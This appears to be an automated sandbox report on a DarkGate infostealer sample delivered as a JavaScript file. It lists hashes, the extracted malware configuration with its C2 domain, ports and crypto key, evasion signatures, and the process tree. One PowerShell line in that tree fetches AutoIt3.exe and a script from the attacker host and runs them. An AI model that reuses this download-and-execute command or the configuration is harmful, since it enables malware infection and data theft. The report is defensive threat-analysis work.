Analysis
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max time kernel
324s -
max time network
289s -
platform
windows10-2004_x64 -
resource
win10v2004-20231020-en -
resource tags
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submitted
02-11-2023 15:23
General
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Target
gentle.js
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Size
135KB
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MD5
ffa38ff8c434945de11b621958170a10
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SHA1
6429a10526d4224e5a9d5e4ab9f71cfa3a1bd460
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SHA256
4dce8991fb2942cb8443aba697311072aa25fc61b4b4186a54e7956c2bec6799
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SHA512
f4f5fcde08d4ab8d167071ba9eed55cb4d575251da66fcd8005a85970f26e07be31a6f65a42ff47ee238e498f66fef625c97eabe0c87eee3f18ae1d3f98d022a
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SSDEEP
1536:BZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0c:0T9U7hgaX6eerjqlI2IO6Mzqfpu
Malware Config
Extracted
darkgate
user_871236672
http://shsukadadyuikmmonk.com
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alternative_c2_port
8080
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anti_analysis
true
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anti_debug
true
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anti_vm
true
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c2_port
2351
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check_disk
true
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check_ram
true
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check_xeon
true
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crypter_au3
false
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crypter_dll
false
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crypter_rawstub
true
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crypto_key
WccksaEfoXLLtV
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internal_mutex
txtMut
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minimum_disk
50
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minimum_ram
6001
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ping_interval
4
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rootkit
true
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startup_persistence
true
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username
user_871236672
Signatures
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DarkGate
DarkGate is an infostealer written in C++.
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Blocklisted process makes network request 2 IoCs
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Downloads MZ/PE file
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Executes dropped EXE 4 IoCs
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Drops file in System32 directory 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
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Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
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Modifies registry class 51 IoCs
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Suspicious behavior: EnumeratesProcesses 23 IoCs
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Suspicious use of AdjustPrivilegeToken 5 IoCs
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Suspicious use of FindShellTrayWindow 31 IoCs
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Suspicious use of SendNotifyMessage 30 IoCs
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Suspicious use of SetWindowsHookEx 2 IoCs
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Suspicious use of WriteProcessMemory 8 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\gentle.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351/msikrxeiths' -OutFile 'krxeiths.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'krxeiths.au3'"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\tepp\AutoIt3.exe"C:\tepp\AutoIt3.exe" krxeiths.au33⤵
- Executes dropped EXE
- Checks processor information in registry
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
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C:\tepp\AutoIt3.exe"C:\tepp\AutoIt3.exe"1⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
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C:\tepp\AutoIt3.exe"C:\tepp\AutoIt3.exe"1⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe"PowerShell.exe" -noexit -command Set-Location -literalPath 'C:\tepp'1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\tepp\AutoIt3.exe"C:\tepp\AutoIt3.exe" .\krxeiths.au32⤵
- Executes dropped EXE
- Checks processor information in registry
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD5223bd4ae02766ddc32e6145fd1a29301
SHA1900cfd6526d7e33fb4039a1cc2790ea049bc2c5b
SHA2561022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e
SHA512648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
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Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
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Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
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Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
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Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
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Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
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Filesize
495KB
MD51a145f64835ef788884984eaaabc41cf
SHA186adae24703e4cc02791f5473163d19af9ce5374
SHA256e6cb5e76a2cc9b9b60f9f6cdde65478675d03684a1973b673e1663ded9195c4d
SHA51297fe04c68eff006a9628d43d71c515d822a129f0930d581ee2d9a3fe5d1fcdde291871946a8df8233ee3614cf392c85a0fe371051cb06343b3e92368ee8354e3
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Filesize
10.8MB
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Filesize
120KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
472KB
-
Filesize
272KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
136KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
4.0MB
-
Filesize
4.0MB
-
Filesize
1.6MB
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Filesize
1.6MB
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Filesize
2.0MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
4.0MB